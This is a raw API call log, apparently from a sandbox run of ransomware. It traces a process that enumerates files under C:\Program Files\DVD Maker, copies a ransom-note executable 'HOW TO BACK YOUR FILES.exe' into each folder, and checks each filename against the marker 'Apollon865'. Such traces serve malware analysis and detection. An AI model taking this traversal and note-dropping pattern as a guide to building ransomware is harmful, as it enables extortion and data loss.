	[0074.465] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.465] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.465] lstrlenW (lpString="Apollon865") returned 10
	[0074.465] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.465] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.465] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.465] lstrlenW (lpString="Apollon865") returned 10
	[0074.465] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.465] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.465] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.465] lstrlenW (lpString="Apollon865") returned 10
	[0074.465] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.466] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="reflect.png" | out: lpString1="reflect.png") returned="reflect.png"
	[0074.466] lstrlenW (lpString="reflect.png") returned 11
	[0074.466] lstrlenW (lpString="Apollon865") returned 10
	[0074.466] lstrcmpiW (lpString1="eflect.png", lpString2="Apollon865") returned 1
	[0074.466] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="vistabg.png" | out: lpString1="vistabg.png") returned="vistabg.png"
	[0074.466] lstrlenW (lpString="vistabg.png") returned 11
	[0074.466] lstrlenW (lpString="Apollon865") returned 10
	[0074.466] lstrcmpiW (lpString1="istabg.png", lpString2="Apollon865") returned 1
	[0074.466] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push"
	[0074.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afea8 | out: hHeap=0x580000) returned 1
	[0074.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0074.466] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push") returned 48
	[0074.466] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push"
	[0074.466] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.472] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x447576d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x447576d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.472] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.472] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.472] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.472] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.472] lstrlenW (lpString="Apollon865") returned 10
	[0074.472] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.472] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="1047_576black.png" | out: lpString1="1047_576black.png") returned="1047_576black.png"
	[0074.472] lstrlenW (lpString="1047_576black.png") returned 17
	[0074.472] lstrlenW (lpString="Apollon865") returned 10
	[0074.472] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.472] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.472] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.472] lstrlenW (lpString="Apollon865") returned 10
	[0074.473] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.473] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.473] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.473] lstrlenW (lpString="Apollon865") returned 10
	[0074.473] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.473] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.473] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.473] lstrlenW (lpString="Apollon865") returned 10
	[0074.473] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.473] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.473] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.473] lstrlenW (lpString="Apollon865") returned 10
	[0074.473] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.473] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.473] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.473] lstrlenW (lpString="Apollon865") returned 10
	[0074.473] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.473] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.473] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.473] lstrlenW (lpString="Apollon865") returned 10
	[0074.473] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.473] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="push.png" | out: lpString1="push.png") returned="push.png"
	[0074.474] lstrlenW (lpString="push.png") returned 8
	[0074.474] lstrlenW (lpString="Apollon865") returned 10
	[0074.474] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="pushplaysubpicture.png" | out: lpString1="pushplaysubpicture.png") returned="pushplaysubpicture.png"
	[0074.474] lstrlenW (lpString="pushplaysubpicture.png") returned 22
	[0074.474] lstrlenW (lpString="Apollon865") returned 10
	[0074.474] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.474] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="push_item.png" | out: lpString1="push_item.png") returned="push_item.png"
	[0074.474] lstrlenW (lpString="push_item.png") returned 13
	[0074.474] lstrlenW (lpString="Apollon865") returned 10
	[0074.474] lstrcmpiW (lpString1="h_item.png", lpString2="Apollon865") returned 1
	[0074.474] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="push_title.png" | out: lpString1="push_title.png") returned="push_title.png"
	[0074.474] lstrlenW (lpString="push_title.png") returned 14
	[0074.474] lstrlenW (lpString="Apollon865") returned 10
	[0074.474] lstrcmpiW (lpString1="_title.png", lpString2="Apollon865") returned -1
	[0074.474] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets"
	[0074.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe38 | out: hHeap=0x580000) returned 1
	[0074.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0074.474] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets") returned 48
	[0074.474] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets"
	[0074.474] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.480] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4477d830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4477d830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.480] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.480] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.480] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Notes_INTRO_BG.wmv" | out: lpString1="Notes_INTRO_BG.wmv") returned="Notes_INTRO_BG.wmv"
	[0074.480] lstrlenW (lpString="Notes_INTRO_BG.wmv") returned 18
	[0074.480] lstrlenW (lpString="Apollon865") returned 10
	[0074.480] lstrcmpiW (lpString1="TRO_BG.wmv", lpString2="Apollon865") returned 1
	[0074.480] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Notes_INTRO_BG_PAL.wmv" | out: lpString1="Notes_INTRO_BG_PAL.wmv") returned="Notes_INTRO_BG_PAL.wmv"
	[0074.480] lstrlenW (lpString="Notes_INTRO_BG_PAL.wmv") returned 22
	[0074.481] lstrlenW (lpString="Apollon865") returned 10
	[0074.481] lstrcmpiW (lpString1="BG_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Notes_LOOP_BG.wmv" | out: lpString1="Notes_LOOP_BG.wmv") returned="Notes_LOOP_BG.wmv"
	[0074.481] lstrlenW (lpString="Notes_LOOP_BG.wmv") returned 17
	[0074.481] lstrlenW (lpString="Apollon865") returned 10
	[0074.481] lstrcmpiW (lpString1="OOP_BG.wmv", lpString2="Apollon865") returned 1
	[0074.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Notes_LOOP_BG_PAL.wmv" | out: lpString1="Notes_LOOP_BG_PAL.wmv") returned="Notes_LOOP_BG_PAL.wmv"
	[0074.481] lstrlenW (lpString="Notes_LOOP_BG_PAL.wmv") returned 21
	[0074.481] lstrlenW (lpString="Apollon865") returned 10
	[0074.481] lstrcmpiW (lpString1="BG_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-back-over-select.png" | out: lpString1="Pets_btn-back-over-select.png") returned="Pets_btn-back-over-select.png"
	[0074.481] lstrlenW (lpString="Pets_btn-back-over-select.png") returned 29
	[0074.481] lstrlenW (lpString="Apollon865") returned 10
	[0074.481] lstrcmpiW (lpString1="select.png", lpString2="Apollon865") returned 1
	[0074.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-back-static.png" | out: lpString1="Pets_btn-back-static.png") returned="Pets_btn-back-static.png"
	[0074.481] lstrlenW (lpString="Pets_btn-back-static.png") returned 24
	[0074.481] lstrlenW (lpString="Apollon865") returned 10
	[0074.481] lstrcmpiW (lpString1="static.png", lpString2="Apollon865") returned 1
	[0074.481] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-next-over-select.png" | out: lpString1="Pets_btn-next-over-select.png") returned="Pets_btn-next-over-select.png"
	[0074.481] lstrlenW (lpString="Pets_btn-next-over-select.png") returned 29
	[0074.481] lstrlenW (lpString="Apollon865") returned 10
	[0074.481] lstrcmpiW (lpString1="select.png", lpString2="Apollon865") returned 1
	[0074.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-next-static.png" | out: lpString1="Pets_btn-next-static.png") returned="Pets_btn-next-static.png"
	[0074.482] lstrlenW (lpString="Pets_btn-next-static.png") returned 24
	[0074.482] lstrlenW (lpString="Apollon865") returned 10
	[0074.482] lstrcmpiW (lpString1="static.png", lpString2="Apollon865") returned 1
	[0074.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-over-DOT.png" | out: lpString1="Pets_btn-over-DOT.png") returned="Pets_btn-over-DOT.png"
	[0074.482] lstrlenW (lpString="Pets_btn-over-DOT.png") returned 21
	[0074.482] lstrlenW (lpString="Apollon865") returned 10
	[0074.482] lstrcmpiW (lpString1="er-DOT.png", lpString2="Apollon865") returned 1
	[0074.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-previous-over-select.png" | out: lpString1="Pets_btn-previous-over-select.png") returned="Pets_btn-previous-over-select.png"
	[0074.482] lstrlenW (lpString="Pets_btn-previous-over-select.png") returned 33
	[0074.482] lstrlenW (lpString="Apollon865") returned 10
	[0074.482] lstrcmpiW (lpString1="select.png", lpString2="Apollon865") returned 1
	[0074.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_btn-previous-static.png" | out: lpString1="Pets_btn-previous-static.png") returned="Pets_btn-previous-static.png"
	[0074.482] lstrlenW (lpString="Pets_btn-previous-static.png") returned 28
	[0074.482] lstrlenW (lpString="Apollon865") returned 10
	[0074.482] lstrcmpiW (lpString1="static.png", lpString2="Apollon865") returned 1
	[0074.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_frame-border.png" | out: lpString1="Pets_frame-border.png") returned="Pets_frame-border.png"
	[0074.482] lstrlenW (lpString="Pets_frame-border.png") returned 21
	[0074.482] lstrlenW (lpString="Apollon865") returned 10
	[0074.482] lstrcmpiW (lpString1="border.png", lpString2="Apollon865") returned 1
	[0074.482] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_frame-highlight.png" | out: lpString1="Pets_frame-highlight.png") returned="Pets_frame-highlight.png"
	[0074.482] lstrlenW (lpString="Pets_frame-highlight.png") returned 24
	[0074.482] lstrlenW (lpString="Apollon865") returned 10
	[0074.482] lstrcmpiW (lpString1="hlight.png", lpString2="Apollon865") returned 1
	[0074.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_frame-imageMask.png" | out: lpString1="Pets_frame-imageMask.png") returned="Pets_frame-imageMask.png"
	[0074.483] lstrlenW (lpString="Pets_frame-imageMask.png") returned 24
	[0074.483] lstrlenW (lpString="Apollon865") returned 10
	[0074.483] lstrcmpiW (lpString1="geMask.png", lpString2="Apollon865") returned 1
	[0074.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_frame-shadow.png" | out: lpString1="Pets_frame-shadow.png") returned="Pets_frame-shadow.png"
	[0074.483] lstrlenW (lpString="Pets_frame-shadow.png") returned 21
	[0074.483] lstrlenW (lpString="Apollon865") returned 10
	[0074.483] lstrcmpiW (lpString1="shadow.png", lpString2="Apollon865") returned 1
	[0074.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_image-frame-backglow.png" | out: lpString1="Pets_image-frame-backglow.png") returned="Pets_image-frame-backglow.png"
	[0074.483] lstrlenW (lpString="Pets_image-frame-backglow.png") returned 29
	[0074.483] lstrlenW (lpString="Apollon865") returned 10
	[0074.483] lstrcmpiW (lpString1="ckglow.png", lpString2="Apollon865") returned 1
	[0074.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_image-frame-border.png" | out: lpString1="Pets_image-frame-border.png") returned="Pets_image-frame-border.png"
	[0074.483] lstrlenW (lpString="Pets_image-frame-border.png") returned 27
	[0074.483] lstrlenW (lpString="Apollon865") returned 10
	[0074.483] lstrcmpiW (lpString1="border.png", lpString2="Apollon865") returned 1
	[0074.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_image-frame-ImageMask.png" | out: lpString1="Pets_image-frame-ImageMask.png") returned="Pets_image-frame-ImageMask.png"
	[0074.483] lstrlenW (lpString="Pets_image-frame-ImageMask.png") returned 30
	[0074.483] lstrlenW (lpString="Apollon865") returned 10
	[0074.483] lstrcmpiW (lpString1="geMask.png", lpString2="Apollon865") returned 1
	[0074.483] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pets_notes-txt-background.png" | out: lpString1="Pets_notes-txt-background.png") returned="Pets_notes-txt-background.png"
	[0074.483] lstrlenW (lpString="Pets_notes-txt-background.png") returned 29
	[0074.484] lstrlenW (lpString="Apollon865") returned 10
	[0074.484] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0074.484] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="rollinghills.png" | out: lpString1="rollinghills.png") returned="rollinghills.png"
	[0074.484] lstrlenW (lpString="rollinghills.png") returned 16
	[0074.484] lstrlenW (lpString="Apollon865") returned 10
	[0074.484] lstrcmpiW (lpString1="ghills.png", lpString2="Apollon865") returned 1
	[0074.484] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Scenes_INTRO_BG.wmv" | out: lpString1="Scenes_INTRO_BG.wmv") returned="Scenes_INTRO_BG.wmv"
	[0074.484] lstrlenW (lpString="Scenes_INTRO_BG.wmv") returned 19
	[0074.484] lstrlenW (lpString="Apollon865") returned 10
	[0074.484] lstrcmpiW (lpString1="TRO_BG.wmv", lpString2="Apollon865") returned 1
	[0074.484] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Scenes_INTRO_BG_PAL.wmv" | out: lpString1="Scenes_INTRO_BG_PAL.wmv") returned="Scenes_INTRO_BG_PAL.wmv"
	[0074.484] lstrlenW (lpString="Scenes_INTRO_BG_PAL.wmv") returned 23
	[0074.484] lstrlenW (lpString="Apollon865") returned 10
	[0074.484] lstrcmpiW (lpString1="BG_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.484] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Scenes_LOOP_BG.wmv" | out: lpString1="Scenes_LOOP_BG.wmv") returned="Scenes_LOOP_BG.wmv"
	[0074.484] lstrlenW (lpString="Scenes_LOOP_BG.wmv") returned 18
	[0074.484] lstrlenW (lpString="Apollon865") returned 10
	[0074.484] lstrcmpiW (lpString1="OOP_BG.wmv", lpString2="Apollon865") returned 1
	[0074.484] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Scenes_LOOP_BG_PAL.wmv" | out: lpString1="Scenes_LOOP_BG_PAL.wmv") returned="Scenes_LOOP_BG_PAL.wmv"
	[0074.484] lstrlenW (lpString="Scenes_LOOP_BG_PAL.wmv") returned 22
	[0074.484] lstrlenW (lpString="Apollon865") returned 10
	[0074.484] lstrcmpiW (lpString1="BG_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.484] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Title_Page_Ref.wmv" | out: lpString1="Title_Page_Ref.wmv") returned="Title_Page_Ref.wmv"
	[0074.485] lstrlenW (lpString="Title_Page_Ref.wmv") returned 18
	[0074.485] lstrlenW (lpString="Apollon865") returned 10
	[0074.485] lstrcmpiW (lpString1="ge_Ref.wmv", lpString2="Apollon865") returned 1
	[0074.485] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Title_Page_Ref_PAL.wmv" | out: lpString1="Title_Page_Ref_PAL.wmv") returned="Title_Page_Ref_PAL.wmv"
	[0074.485] lstrlenW (lpString="Title_Page_Ref_PAL.wmv") returned 22
	[0074.485] lstrlenW (lpString="Apollon865") returned 10
	[0074.485] lstrcmpiW (lpString1="ef_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.485] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance"
	[0074.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0074.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0074.485] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance") returned 55
	[0074.485] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance"
	[0074.485] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.491] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4477d830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4477d830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.491] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.491] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.491] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="720x480blacksquare.png" | out: lpString1="720x480blacksquare.png") returned="720x480blacksquare.png"
	[0074.491] lstrlenW (lpString="720x480blacksquare.png") returned 22
	[0074.491] lstrlenW (lpString="Apollon865") returned 10
	[0074.491] lstrcmpiW (lpString1="square.png", lpString2="Apollon865") returned 1
	[0074.491] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="NextMenuButtonIcon.png" | out: lpString1="NextMenuButtonIcon.png") returned="NextMenuButtonIcon.png"
	[0074.491] lstrlenW (lpString="NextMenuButtonIcon.png") returned 22
	[0074.491] lstrlenW (lpString="Apollon865") returned 10
	[0074.491] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.491] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="NextMenuButtonIconSubpictur.png" | out: lpString1="NextMenuButtonIconSubpictur.png") returned="NextMenuButtonIconSubpictur.png"
	[0074.491] lstrlenW (lpString="NextMenuButtonIconSubpictur.png") returned 31
	[0074.491] lstrlenW (lpString="Apollon865") returned 10
	[0074.491] lstrcmpiW (lpString1="pictur.png", lpString2="Apollon865") returned 1
	[0074.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Notes_loop.wmv" | out: lpString1="Notes_loop.wmv") returned="Notes_loop.wmv"
	[0074.492] lstrlenW (lpString="Notes_loop.wmv") returned 14
	[0074.492] lstrlenW (lpString="Apollon865") returned 10
	[0074.492] lstrcmpiW (lpString1="s_loop.wmv", lpString2="Apollon865") returned 1
	[0074.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Notes_loop_PAL.wmv" | out: lpString1="Notes_loop_PAL.wmv") returned="Notes_loop_PAL.wmv"
	[0074.492] lstrlenW (lpString="Notes_loop_PAL.wmv") returned 18
	[0074.492] lstrlenW (lpString="Apollon865") returned 10
	[0074.492] lstrcmpiW (lpString1="op_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ParentMenuButtonIcon.png" | out: lpString1="ParentMenuButtonIcon.png") returned="ParentMenuButtonIcon.png"
	[0074.492] lstrlenW (lpString="ParentMenuButtonIcon.png") returned 24
	[0074.492] lstrlenW (lpString="Apollon865") returned 10
	[0074.492] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ParentMenuButtonIconSubpict.png" | out: lpString1="ParentMenuButtonIconSubpict.png") returned="ParentMenuButtonIconSubpict.png"
	[0074.492] lstrlenW (lpString="ParentMenuButtonIconSubpict.png") returned 31
	[0074.492] lstrlenW (lpString="Apollon865") returned 10
	[0074.492] lstrcmpiW (lpString1="ubpict.png", lpString2="Apollon865") returned 1
	[0074.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="performance.png" | out: lpString1="performance.png") returned="performance.png"
	[0074.492] lstrlenW (lpString="performance.png") returned 15
	[0074.492] lstrlenW (lpString="Apollon865") returned 10
	[0074.492] lstrcmpiW (lpString1="rmance.png", lpString2="Apollon865") returned 1
	[0074.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Perf_Scenes_Mask1.png" | out: lpString1="Perf_Scenes_Mask1.png") returned="Perf_Scenes_Mask1.png"
	[0074.492] lstrlenW (lpString="Perf_Scenes_Mask1.png") returned 21
	[0074.492] lstrlenW (lpString="Apollon865") returned 10
	[0074.492] lstrcmpiW (lpString1="_Mask1.png", lpString2="Apollon865") returned -1
	[0074.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Perf_Scenes_Subpicture1.png" | out: lpString1="Perf_Scenes_Subpicture1.png") returned="Perf_Scenes_Subpicture1.png"
	[0074.493] lstrlenW (lpString="Perf_Scenes_Subpicture1.png") returned 27
	[0074.493] lstrlenW (lpString="Apollon865") returned 10
	[0074.493] lstrcmpiW (lpString1="cture1.png", lpString2="Apollon865") returned 1
	[0074.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PreviousMenuButtonIcon.png" | out: lpString1="PreviousMenuButtonIcon.png") returned="PreviousMenuButtonIcon.png"
	[0074.493] lstrlenW (lpString="PreviousMenuButtonIcon.png") returned 26
	[0074.493] lstrlenW (lpString="Apollon865") returned 10
	[0074.493] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PreviousMenuButtonIconSubpi.png" | out: lpString1="PreviousMenuButtonIconSubpi.png") returned="PreviousMenuButtonIconSubpi.png"
	[0074.493] lstrlenW (lpString="PreviousMenuButtonIconSubpi.png") returned 31
	[0074.493] lstrlenW (lpString="Apollon865") returned 10
	[0074.493] lstrcmpiW (lpString1="nSubpi.png", lpString2="Apollon865") returned 1
